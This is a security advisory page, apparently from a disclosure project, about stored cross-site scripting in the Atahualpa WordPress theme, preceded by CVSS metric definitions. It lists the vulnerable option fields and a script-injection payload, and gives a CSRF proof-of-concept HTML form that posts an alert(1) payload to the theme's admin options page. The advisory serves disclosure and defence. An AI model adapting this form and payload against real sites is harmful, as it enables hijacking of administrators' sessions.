The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
WordPress Atahualpa Theme Cross Site Scripting------------------------------------------------------------------------
Cross-Site Scripting in Atahualpa WordPress Theme
------------------------------------------------------------------------
Spyros Gasteratos, July 2016
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A number of Cross-Site Scripting vulnerabilities were found in the
Atahualpa WordPress Theme. This issue allows an attacker to perform a
wide variety of actions, such as stealing Administrators' session
tokens, or performing arbitrary actions on their behalf. In order to
exploit this issue, the attacker has to use the CSRF vulnerability
described in SFY20160759 to trick the admin into storing malicious
input.
------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0004
------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Atahualpa WordPress Theme
WordPress Theme.
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_atahualpa_wordpress_theme.html
Providing any of the following fields with string such as: "><script>alert(1);</script> results in the script element getting appended after the respective input element when the request returns from the server:
"comment_feed_link",
"home_cat_menu_bar",
"email_subscribe_link",
"home_single_next_prev",
"email_subscribe_link_title",
"feedburner_email_id",
"excerpt_length",
"page_menu_bar_link_color",
"cat_menu_bar_background_color_parent",
"cat_menu_bar_link_color",
"left_col_pages_exclude",
"widget_lists link-hover-color",
"left_col2_cats_exclude"
The solution to this issue is to encode as html all the user-provided parameters before they are returned to the browser.
Proof of concept
In order to reproduce the issue the following request can be replayed using the cookies of the current admin.
<html>
<body>
<form action="https://play.sfy.nl/wp-admin/themes.php?page=atahualpa-options" method="POST">
<input type="hidden" name="widget_container" value="margin: 0 0 15px 0;"/>
<input type="hidden" name="widget_title_box" value=""/>
<input type="hidden" name="widget_title" value="font-size: 1.6em;
font-weight: bold;"/>
<input type="hidden" name="widget_content" value=""/>
<input type="hidden" name="widget_lists[li-margin-left]" value="0"/>
<input type="hidden" name="widget_lists[link-border-left-width]" value="7"/>
<input type="hidden" name="widget_lists[link-border-left-color]" value="CCCCCC"/>
<input type="hidden" name="widget_lists[link-border-left-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists[link-padding-left]" value="5"/>
<input type="hidden" name="widget_lists[link-weight]" value="normal"/>
<input type="hidden" name="widget_lists[link-color]" value="666666"/>
<input type="hidden" name="widget_lists[link-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists2[li-margin-left]" value="5"/>
<input type="hidden" name="widget_lists2[link-border-left-width]" value="7"/>
<input type="hidden" name="widget_lists2[link-border-left-color]" value="CCCCCC"/>
<input type="hidden" name="widget_lists2[link-border-left-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists2[link-padding-left]" value="5"/>
<input type="hidden" name="widget_lists2[link-weight]" value="normal"/>
<input type="hidden" name="widget_lists2[link-color]" value="666666"/>
<input type="hidden" name="widget_lists2[link-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists3[li-margin-left]" value="5"/>
<input type="hidden" name="widget_lists3[link-border-left-width]" value="7"/>
<input type="hidden" name="widget_lists3[link-border-left-color]" value="CCCCCCw66ar"><script>alert(1)</script>ljgl1"/>
<input type="hidden" name="widget_lists3[link-border-left-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists3[link-padding-left]" value="5"/>
<input type="hidden" name="widget_lists3[link-weight]" value="normal"/>
<input type="hidden" name="widget_lists3[link-color]" value="666666"/>
<input type="hidden" name="widget_lists3[link-hover-color]" value="000000"/>
<input type="hidden" name="category_widget_display_type" value="inline"/>
<input type="hidden" name="select_font_size" value="Default"/>
<input type="hidden" name="save" value=""/>
<input type="hidden" name="action" value="save"/>
<input type="hidden" name="category" value="widgets"/>
<input type="submit"/>
</form>
</body>
</html>